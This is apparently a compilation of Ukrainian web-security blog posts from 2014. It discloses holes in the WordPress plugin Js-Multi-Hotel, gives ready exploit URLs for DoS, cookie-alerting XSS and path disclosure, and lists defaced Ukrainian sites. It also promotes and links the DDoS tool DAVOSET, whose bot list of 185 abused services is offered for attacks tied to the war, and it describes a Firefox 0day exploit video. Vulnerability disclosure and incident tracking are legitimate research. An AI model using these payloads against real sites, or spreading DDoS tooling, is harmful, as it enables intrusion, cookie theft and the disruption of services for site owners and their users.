Websecurity - Веб безпека

У березні, 21.03.2014, я виявив Abuse of Functionality, Denial of Service, Cross-Site Scripting та Full path disclosure уразливості в плагіні Js-Multi-Hotel для WordPress. Про що найближчим часом повідомлю розробникам. Це друга частина уразливостей в цьому плагіні, а з часом я оприлюдню інші дірки.

Раніше я писав про XSS і FPD уразливості в Js-Multi-Hotel для WordPress. Стосовно плагінів для WordPress перед цим я писав про уразливості в VideoWhisper Live Streaming Integration для WP.

Abuse of Functionality (WASC-42):

http://site/wp-content/plugins/js-multihotel/includes/show_image.php?file=http://site&w=1&h=1

DoS (WASC-10):

http://site/wp-content/plugins/js-multihotel/includes/show_image.php?file=http://site/big_file&h=1&w=1

Окрім проведення DoS атак вручну, також можна проводити автоматизовані DoS і DDoS атаки з використанням DAVOSET.

Cross-Site Scripting (WASC-08):

http://site/wp-content/plugins/js-multihotel/includes/delete_img.php?path=%3Cbody%20onload=with(document)alert(cookie)%3E

Про XSS уразливість в refreshDate.php в параметрі roomid я вже писав раніше.

Full path disclosure (WASC-13):

http://site/wp-content/plugins/js-multihotel/includes/functions.php
http://site/wp-content/plugins/js-multihotel/includes/myCalendar.php
http://site/wp-content/plugins/js-multihotel/includes/refreshDate.php?d=
http://site/wp-content/plugins/js-multihotel/includes/show_image.php
http://site/wp-content/plugins/js-multihotel/includes/widget.php
http://site/wp-content/plugins/js-multihotel/includes/phpthumb/GdThumb.inc.php
http://site/wp-content/plugins/js-multihotel/includes/phpthumb/thumb_plugins/gd_reflection.inc.php

Уразливі Js-Multi-Hotel 2.2.1 та попередні версії.

Сьогодні вийшла нова версія програми DAVOSET v.1.1.9. Це Return Of The Bots Edition.

Враховуючи війну Путіна проти України, армія ботів може стати в нагоді. В новій версії:

• Додав нові сервіси в обидва списки зомбі.
• Прибрав неробочі сервіси зі списків зомбі.
• Покращив функцію TestServer.

Всього в списку міститься 185 зомбі-сервісів, які готові нанести удар проти диктатури.

DDoS attacks via other sites execution tool (DAVOSET) - це інструмент для використання Abuse of Functionality уразливостей на одних сайтах, для проведення DoS і DDoS атак на інші сайти.

Скачати: DAVOSET_v.1.1.9.rar.

Пропоную ознайомитися зі звітом про хакерську активність в Уанеті в другому півріччі 2013 року.

За другу половину минулого року хакери в Уанеті вели себе дуже активно. Якщо за другу половину 2012 року в Уанеті було проведено 474 атак на веб сайти, то за другу половину 2013 року - вже 376 атак на веб сайти, що є дещо меншою активністю (падіння на 20,7%). Це пов’язано з тим, що я значно менше досліджував взломи сайтів в цей період. Але атакованих сайтів явно значно більше і хакерська активність постійно зростає. Що видно з великої кількості інфікованих сайтів (які я не відношу до взломаних, бо напевно невідомо, що їх взломали, але це дуже вірогідно).

У даному звіті подана інформація про діяльність хакерів в Уанеті за наступні шість місяців 2013 року - за період з 01.07.2013 по 31.12.2013.

За цей час були взломані наступні сайти:

• moneyfest.biz.ua (хакером muStireiS) - 07.2013
• clinic-1.gov.ua (хакером klod fajraoui) - 03.07.2013 - похаканий державний сайт
• www.dec.gov.ua (хакером HighTech) - 04.07.2013 - похаканий державний сайт
• book.rekord.gov.ua (хакером SultanHaikal) - 06.07.2013 - похаканий державний сайт
• www.cult.voladm.gov.ua (хакером Solt6n) - 11.07.2013 - похаканий державний сайт
• www.putivl-rda.gov.ua (хакером Dr.SHA6H) - 13.07.2013 - похаканий державний сайт
• www.ubl.dp.ua (хакером L0S D3F4C3RS) - 24.07.2013
• www.ndippp.gov.ua (хакером Dr.SHA6H) - 25.07.2013 - похаканий державний сайт
• desna-buvr.gov.ua (хакером hasnain haxor) - 25.07.2013 - похаканий державний сайт
• 60 сайтів на сервері XServer (хакером hasnain haxor) - 25.07.2013
• 7 сайтів на сервері HostPro (хакером Harez Kurdstan) - 27.07.2013
• dndc-uz.gov.ua (хакером Harez Kurdstan) - 28.07.2013 - похаканий державний сайт
• www.manrayrada.gov.ua (хакером Kurd007) - 28.07.2013 - похаканий державний сайт
• 10 сайтів на сервері HostPro (хакерами з P4kurd-TeaM) - 28.07.2013
• 74 сайти на сервері HostPro (хакером NeT.Defacer) - 28.07.2013
• freekiev.com.ua (хакером Kurd007) - 28.07.2013
• mls.volyn.ua (хакером CoupDeGrace) - 28.07.2013
• bilous.com.ua (хакером CoupDeGrace) - 30.07.2013
• www.upszn-sumy.gov.ua (хакером HighTech) - 31.07.2013 - похаканий державний сайт
• lifefree.com.ua (хакером HACKROOT) - 02.08.2013
• stomadent.com.ua (хакерами з Iran Security Team) - 02.08.2013
• bankruptcy.net.ua (хакером NeoX) - 03.08.2013
• neoclima.ua (хакером Cyber-turk) - 03.08.2013
• web.optim.ua (хакером Cyber-turk) - 03.08.2013
• nakroem.kiev.ua (хакером CoupDeGrace) - 03.08.2013
• big-heart.com.ua (хакером HACKROOT) - 04.08.2013
• antikor.org.ua (хакером dr.m1st3r) - 04.08.2013
• greenmix.com.ua (хакерами з Iran Security Team) - 04.08.2013
• peek-a-boo.com.ua (хакером sansar34) - 05.08.2013
• sez.crimea.ua (хакером S4L4M) - 06.08.2013
• www.zdanivske.com.ua (хакером Kurd007) - 06.08.2013
• cabel-provod.com (хакером Sejeal) - 08.08.2013
• denaks.com (хакером Sejeal) - 10.08.2013
• sensei-school.com.ua (хакерами з Iran Security Team) - 12.08.2013
• ooo-amd.com (хакером Sejeal) - 12.08.2013
• www.yuna.ua (хакером RBG HomS) - 13.08.2013
• revizor911.com (хакером Sejeal) - 16.08.2013
• nadin.co.ua (хакером Moroccan Hassan) - 17.08.2013
• www.kprda.gov.ua (хакером Dr.SHA6H) - 18.08.2013 - похаканий державний сайт
• golovderzhkarantyn.gov.ua (хакером Dr.SHA6H) - 18.08.2013 - похаканий державний сайт
• www.golovderzhkarantyn.gov.ua (хакером Dr.SHA6H) - 18.08.2013 - похаканий державний сайт
• yogalviv.info (хакером Sejeal) - 18.08.2013
• www.vdenergy.com.ua (хакером SeCuR!TY DR@G0N) - 19.08.2013
• www.union-forum.org (хакером BLACKWOLF) - 19.08.2013
• visnik-press.com.ua (хакером RBG HomS) - 21.08.2013
• revolverlab.com (хакером RBG HomS) - 21.08.2013
• woodprofile.ua (хакером Hmei7) - 21.08.2013
• www.korosten-rayrada.in.ua (хакером Hmei7) - 23.08.2013 - похаканий державний сайт
• globalenglish.dn.ua (хакером RBG HomS) - 23.08.2013
• www.tepliydim.com.ua (хакером Hmei7) - 24.08.2013
• yalta-gs.gov.ua (хакером NeT-DeViL) - 26.08.2013 - похаканий державний сайт
• monuments-crimea.gov.ua (хакером Dr-TaiGaR) - 26.08.2013 - похаканий державний сайт
• aeit.com.ua (хакером Xonny.h4ck) - 27.08.2013
• turistbus.com.ua (хакером dowoh) - 29.08.2013
• airal.com.ua (хакером dowoh) - 29.08.2013
• bucharest.com.ua (хакером dowoh) - 29.08.2013
• www.minifermer.com (хакером Moroccan Hassan) - 29.08.2013
• www.westart.com.ua (хакером Moroccan Hassan) - 29.08.2013
• www.tip-top-club.com (хакером Erreur 404) - 29.08.2013
• portfolio.lg.ua (хакером RBG HomS) - 29.08.2013
• www.scourt.gov.ua (хакером LOST SOULS) - 04.09.2013 - похаканий державний сайт
• sumy-city.upszn-sumy.gov.ua (хакером Hmei7) - 06.09.2013 - похаканий державний сайт
• www.nsj.gov.ua (хакерами з @Df Brazil Hack Team) - 11.09.2013 - похаканий державний сайт
• ftpadmin.nsj.gov.ua (хакером Df Brazil Hack Team) - 13.09.2013 - похаканий державний сайт
• www.tsdazu.gov.ua (хакером Error7rB) - 13.09.2013 - похаканий державний сайт
• rokytne-mvs.gov.ua (хакером Hmei7) - 16.09.2013 - похаканий державний сайт
• isol-pack.com.ua (хакером Hmei7) - 16.09.2013
• gpsworld.com.ua (хакером Hmei7) - 17.09.2013
• ekonomics.com.ua (хакером dr.m1st3r) - 19.09.2013
• веселка.com.ua (хакером dr.m1st3r) - 19.09.2013
• pustomyty-rada.gov.ua (хакером ejram_07) - 20.09.2013 - похаканий державний сайт
• blog.arhstudio-f.com (хакером dr.m1st3r) - 20.09.2013
• kievlyanenews.com.ua (хакером dr.m1st3r) - 27.09.2013
• blog.abadev.com (хакером Erreur 404) - 10.2013
• www.svityaz.net (хакером redspy) - 14.10.2013
• krasky.kiev.ua (хакером Hmei7) - 16.10.2013
• www.tronicsua.com (хакером dr.m1st3r) - 17.10.2013
• sitewomen.com (хакером BLG) - 19.10.2013
• DDoS атака на timer.od.ua - 22.10.2013
• DDoS атака на atv.odessa.ua - 22.10.2013
• DDoS атака на rodina.od.ua - 22.10.2013
• chas-z.com.ua (хакером Brazilian Cyber Army) - 27.10.2013
• diana-secret.com (хакерами з White Lotus Brotherhood) - 03.11.2013
• ecology.ks.ua (хакером R4ym0nd) - 06.11.2013 - похаканий державний сайт
• aurora.ua (хакером d3b~X) - 06.11.2013
• chern.dza.gov.ua (хакером хакером Jje Incovers) - 09.11.2013 - похаканий державний сайт
• feo.dza.gov.ua (хакером хакером Jje Incovers) - 09.11.2013 - похаканий державний сайт
• bel.dza.gov.ua (хакером хакером Jje Incovers) - 09.11.2013 - похаканий державний сайт
• arm.dza.gov.ua (хакером хакером Jje Incovers) - 09.11.2013 - похаканий державний сайт
• alushta.dza.gov.ua (хакером хакером Jje Incovers) - 09.11.2013 - похаканий державний сайт
• yalta.dza.gov.ua (хакером хакером Jje Incovers) - 09.11.2013 - похаканий державний сайт
• sak.dza.gov.ua (хакером хакером Jje Incovers) - 09.11.2013 - похаканий державний сайт
• nizhn.dza.gov.ua (хакером хакером Jje Incovers) - 09.11.2013 - похаканий державний сайт
• dzhan.dza.gov.ua (хакером хакером Jje Incovers) - 09.11.2013 - похаканий державний сайт
• razd.dza.gov.ua (хакером SultanHaikal) - 10.11.2013 - похаканий державний сайт
• sim.dza.gov.ua (хакером SultanHaikal) - 10.11.2013 - похаканий державний сайт
• kir.dza.gov.ua (хакером SultanHaikal) - 10.11.2013 - похаканий державний сайт
• kerch.dza.gov.ua (хакером SultanHaikal) - 10.11.2013 - похаканий державний сайт
• bahch.dza.gov.ua (хакером SultanHaikal) - 10.11.2013 - похаканий державний сайт
• touregion.odessa.gov.ua (хакером zerobyte) - 12.11.2013 - похаканий державний сайт
• infobiz1.com.ua (хакером GUDENDEDE) - 13.11.2013
• evrobud.kiev.ua (хакерами з Kurdistan Hackers Team) - 14.11.2013
• www.poltav-oblosvita.gov.ua (хакером Dr.SHA6H) - 15.11.2013 - похаканий державний сайт
• www.el-greko2012.kiev.ua (хакером 3xp1r3) - 16.11.2013
• iitzo.gov.ua (хакером d3b~X) - 21.11.2013 - похаканий державний сайт
• hodovka.com.ua (хакером 4SH4BUL K4HFI) - 22.11.2013
• svitanochek.in.ua (хакером CoupDeGrace) - 23.11.2013
• www.prylady.com (хакером Stalker) - 25.11.2013
• DDoS на mvs.gov.ua (українськими хакерами) - 30.11.2013 - атакований державний сайт
• ct-mr.net (хакером 312W177) - 30.11.2013
• economy.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• bahadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• borzadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• bobradm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• varadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• koradm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• pladm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• goradm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• ichadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• kozadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• kpadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• kuladm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• meadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• neadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• novgadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• nosadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• rpadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• semadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• sosadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• sribadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• taladm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• schorsadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• chadm.cg.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• mail.voladm.gov.ua (хакерами Anonymous) - 12.2013 - похаканий державний сайт
• DDoS на president.gov.ua (українськими хакерами) - 01.12.2013 - атакований державний сайт
• DDoS на kmu.gov.ua (українськими хакерами) - 01.12.2013 - атакований державний сайт
• www.buller.net.ua (хакерами з 1923Turk Grup) - 03.12.2013
• comp-ok.com.ua (хакером Cellatreis) - 05.12.2013
• rich-tours.com.ua (хакером Lulz53c) - 06.12.2013
• DDoS на 5.ua (невідомими хакерами) - 07.12.2013
• brovary-region.gov.ua (хакерами з clash hackrz) - 09.12.2013 - похаканий державний сайт
• DoS на batkivshchyna.com.ua (після штурму МВС офісу “Батьківщини”) - 09.12.2013
• DoS на gazetavv.com (після штурму МВС офісу газети) - 09.12.2013
• DoS на intv.ua (після штурму МВС офісу газети) - 09.12.2013
• DoS на censor.net.ua (після штурму МВС офісу газети) - 09.12.2013
• DDoS на hromadske.tv (невідомими хакерами) - 09.12.2013
• carsystems.com.ua (хакером fallag tnx hani xavi) - 09.12.2013
• www.fotki.zp.ua (хакером fallag tnx hani xavi) - 09.12.2013
• hansaukr.com.ua (хакером fallag tnx hani xavi) - 09.12.2013
• gazcomp.com.ua (хакером fallag tnx hani xavi) - 09.12.2013
• iberieli.org (хакерами з clash hackrz) - 09.12.2013
• guramishvili.org (хакером d3b~X) - 09.12.2013
• DDoS на liga.net (невідомими хакерами) - 14.12.2013
• tower.net.ua (хакером dr.m1st3r) - 16.12.2013
• ravenna.com.ua (хакером VipEr) - 16.12.2013
• don-reg.gov.ua (хакером kwgdeface) - 17.12.2013 - похаканий державний сайт
• imersion.net.ua (хакером kwgdeface) - 17.12.2013
• medicalwork.dsmu.edu.ua (хакером kwgdeface) - 17.12.2013
• 45 сайтів на сервері HostPro (хакерами з Lopht Crews) - 22.12.2013
• 7 сайтів на сервері HostPro (хакерами з holy lycans) - 22.12.2013
• ukrkondprom.com.ua (хакером Holy Lycans) - 23.12.2013
• wdk.dn.ua (хакером Cellatreis) - 23.12.2013
• maryfoto.kh.ua (хакером Cellatreis) - 24.12.2013
• yuventadance.com.ua (хакером Holy Lycans) - 24.12.2013
• rpsnab.com.ua (хакером Cellatreis) - 24.12.2013
• gtea.snigurivka-rda.gov.ua (хакером HambaAllah) - 27.12.2013 - похаканий державний сайт
• policier.snigurivka-rda.gov.ua (хакером HambaAllah) - 27.12.2013 - похаканий державний сайт
• ruda.snigurivka-rda.gov.ua(хакером HambaAllah) - 27.12.2013 - атакований державний сайт
• kuluta.snigurivka-rda.gov.ua(хакером HambaAllah) - 27.12.2013 - атакований державний сайт
• commite.snigurivka-rda.gov.ua(хакером HambaAllah) - 27.12.2013 - атакований державний сайт
• sumbidge.snigurivka-rda.gov.ua(хакером HambaAllah) - 27.12.2013 - атакований державний сайт
• rubbia.snigurivka-rda.gov.ua(хакером HambaAllah) - 27.12.2013 - атакований державний сайт
• albiru.snigurivka-rda.gov.ua(хакером HambaAllah) - 27.12.2013 - атакований державний сайт
• grdu.snigurivka-rda.gov.ua(хакером HambaAllah) - 27.12.2013 - атакований державний сайт
• loces.snigurivka-rda.gov.ua(хакером HambaAllah) - 27.12.2013 - атакований державний сайт
• runzie.snigurivka-rda.gov.ua(хакером HambaAllah) - 27.12.2013 - атакований державний сайт
• gigret.snigurivka-rda.gov.ua(хакером HambaAllah) - 27.12.2013 - атакований державний сайт
• mejvodnoe.com.ua (хакером m05l3k) - 30.12.2013

З них 81 атака на державні сайти: 68 взломів і 13 DDoS-атак на gov.ua-сайти.

Також були інфіковані 96 сайтів, які вірогідно були похакані в минулому році. Що близько до 105 інфікованих сайтів в другій половині 2012 (падіння на 8,5%).

Інфіковані сайти у другій половині 2013 року: ksm.nau.edu.ua, alupro.ua, regional.com.ua, uaclub.net, crimea.gov.ua, s-format.com.ua, vestrum.com.ua, masterdrev.com.ua, kievboard.com, mycounter.ua, mycounter.com.ua, vipnutrition.com.ua, screenshot.com.ua, ukrdom.biz, skd.vn.ua, web.kharkov.ua, irp.lg.ua, vb-agro.org.ua, vb-derevo.org.ua, odb.kiev.ua, domdonetsk.in.ua, allindustry.com.ua, donpfu.gov.ua, poiskuha.com.ua, real1.com.ua, papovs.com.ua, informax.kiev.ua, crimea-pfu.gov.ua, brokservis.zp.ua, euroavto.in, sommer.kiev.ua, kharkivoda.gov.ua, nokino.com.ua, vanilin.com.ua, i.ua, a-counter.com, newsru.com.ua, newsru.ua, emoney-expert.com, weblog.com.ua, ukr.net, novovolynsk-rada.gov.ua, wizard-fight.org.ua, imex-kiev.com.ua, nashpilkah.com.ua, fchild-lubomir.org.ua, microscope.com.ua, edelweiss.at.ua, sparta1.com, k-z.com.ua, buyincoins.co.ua, vslicey.com, uspeh-print.in.ua, kimoliga.majdan.com, majdan.com, kvartal.zp.ua, www.menr.gov.ua, all.zp.ua, vrazrabotke.com.ua, utro.ua, ytro.ua, bioline.com.ua, medbiz.com.ua, csrjournal.com, datagroup.ua, etm.org.ua, elite-bijou.com.ua, carhelp.info, 062.ua, zirki.info, terrawomen.com.ua, tvds.org.ua, terrawoman.com, terrawoman.ua, terrawoman.com.ua, vsekommentarii.com, ifds.org.ua, djuice.ua, didjeridu.org.ua, kyivstar.ua, kyivstar.net, zen.in.ua, forus.at.ua, fito-market.com.ua, labsoft.at.ua, beezy.at.ua, xoloxyz.pp.ua, kms-ua.com, feyerverki.kiev.ua, neptm.com.ua, 3d.co.ua, gorod-online.net, vizyt.com, tsp.com.ua, tsp.zp.ua, zaxale.pp.ua.

З них інфіковано 6 державний сайтів: crimea.gov.ua, donpfu.gov.ua, crimea-pfu.gov.ua, kharkivoda.gov.ua, novovolynsk-rada.gov.ua, www.menr.gov.ua.

Найближчим часом підведу підсумки активності хакерів в Уанеті за 2013 рік.

В даній добірці уразливості в веб додатках:

• Dell PacketTrap MSP RMM 6.6.x - Multiple Persistent Web Vulnerabilities (деталі)
• Remote Code Execution in Microweber (деталі)
• SQL Injection in appRain (деталі)
• Cross-Site Scripting (XSS) in Zikula Application Framework (деталі)
• Xpient Cash Drawer Operation Vulnerability (деталі)

За повідомленням www.opennet.ru, у результаті атаки Windigo шкідливим ПЗ уражені більш 25 тисяч Linux і UNIX серверів.

Компанія ESET підготувала звіт з аналізом триваючої з 2011 року широкомасштабної атаки на сервери, що працюють під керуванням Linux, FreeBSD та інших Unix-подібних систем. У ході атаки, якій привласнене ім’я Операція Windigo, за три роки був отриманий контроль над більш ніж 25 тисячами серверів, з яких 10 тисяч у даний час залишаються ураженими шкідливим ПЗ.

За повідомленням threatpost.ru, несвоєчасна установка патчів і слабкі паролі відкривають двері хакерам.

Звіт Verizon DBIR 2014 року про розслідування взломів повний звичайних зведень: цифри про взломи, які платформи чи галузі постраждали більше, ніж інші, і чому ми стаємо жертвами таких речей, як атаки на POS-системи, кібершпигунство, DDoS, банкоматні скімери, тощо.

Відсутність елементарної гігієни інформаційної безпеки може торкнутися національної безпеки, фінансових та інших сервісів. Зловмисники часто покладаються на слабкі паролі, ненадійні конфігурації і застарілі версії програм.

За повідомленням www.opennet.ru, техніка атаки, що дозволяє продовжити запис з мікрофону після закриття сайта.

У світлі появи в браузерах нових API для доступу до устаткування, з’являються і нові види атак. Зокрема, продемонстрований простий метод атаки на Google Chrome, що дозволяє зберегти доступ до мікрофона після закриття користувачем сторінки, на якій такий доступ був дозволений. Суть методу зводиться до непомітного відкриття в тлі спливаючого вікна, що залишається перекритим основним вікном і без згортання основного вікна браузера залишається непоміченим.

Подібне вікно зберігає права доступу до мікрофону, що користувач явно надав сторінці у вкладці з якої було відкрите дане спливаюче вікно. При цьому можливість запису з вікна зберігається і після закриття основної вкладки, якій був делегований доступ до мікрофону, без видимої індикації факту запису.

У березні, 21.03.2014, я виявив Cross-Site Scripting та Full path disclosure уразливості в плагіні Js-Multi-Hotel для WordPress. Про що найближчим часом повідомлю розробникам.

Стосовно плагінів для WordPress раніше я писав про уразливості в VideoWhisper Live Streaming Integration для WordPress.

Я знайшов численні уразливості в цьому плагіні. Ось XSS та FPD уразливості, а з часом оприлюдню інші дірки.

Cross-Site Scripting (WASC-08):

http://site/wp-content/plugins/js-multihotel/includes/timthumb.php?src=%3C%3Cbody%20onload=alert(document.cookie)%3E

Full path disclosure (WASC-13):

http://site/wp-content/plugins/js-multihotel/includes/timthumb.php?src=http://

Уразливі Js-Multi-Hotel 2.2.1 та попередні версії.

З 24.02.2013 по 30.12.2013 та з 16.01.2014 по 27.03.2014 відбувся восьмий масовий взлом сайтів на сервері Delta-X, після сьомого взлому сайтів на сервері Delta-X. Нещодавно я вже розповідав про інші масові взломи.

Був взломаний восьмий сервер компанії Delta-X. Взлом складався з багатьох окремих дефейсів. 10 сайтів були дефейснуті в 2013 році та 37 сайтів в 2014 році.

Всього було взломано 47 сайтів на сервері української компанії Delta-X (IP 91.222.136.202). Перелік сайтів можете подивитися на www.zone-h.org. Серед них український державний сайт obuhivzem.gov.ua.

Дефейси по одному сайту булу проведені хакерами DARKWAR2, sansar34, 3xp1r3, Stalker, 312W177, Lulz53c, m05l3k, Red V!per, Lopht Crews, r3×1337, Index Php, 6 сайтів хакером Hmei7 та 30 сайтів хакером d3b~X.

Враховуючи велику кількість окремих дефейсів по одному або декілька сайтів, всі вони явно були зроблені при взломах окремих сайтів.

24.01.2014

Виявлені уразливості безпеки в Apache Subversion.

Уразливі версії: Apache Subversion 1.8.

Обхід захисту в mod_dontdothat, DoS.

• Vulnerabilities in Subversion (деталі)

28.03.2014

Додаткова інформація.

• Denial of Service issues in Subversion (деталі)

Продовжуючи розпочату традицію, після попереднього відео про виконання коду в Microsoft Internet Explorer, пропоную нове відео на веб секюріті тематику. Цього разу відео про 0day уразливість в Mozilla Firefox. Рекомендую подивитися всім хто цікавиться цією темою.

Mozilla Firefox 0day remote code execution

В даному відео ролику демонструється віддалене виконання коду в Mozilla Firefox. Використовується експлоіт для проведення атаки на 0day уразливість в Firefox при відкритті сторінки з кодом експлоіту. Що дозволяє нападнику отримати контроль над атакованим комп’ютером.

Атака відбувається при відвідуванні в Firefox спеціально створеного веб сайта, що містить код експлоіту. Рекомендую подивитися дане відео для розуміння векторів атак на браузери.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://dfsk.pz.gov.ua (хакером JoKeR_StEx) - 08.01.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://autobaza.pz.gov.ua (хакером JoKeR_StEx) - 08.01.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://xpark.kiev.ua (хакером r3×1337)
• http://business-airlines.com.ua (хакером X45x_dz)
• http://synchroua.com (хакером JoKeR_StEx) - 08.01.2014, зараз сайт вже виправлений адмінами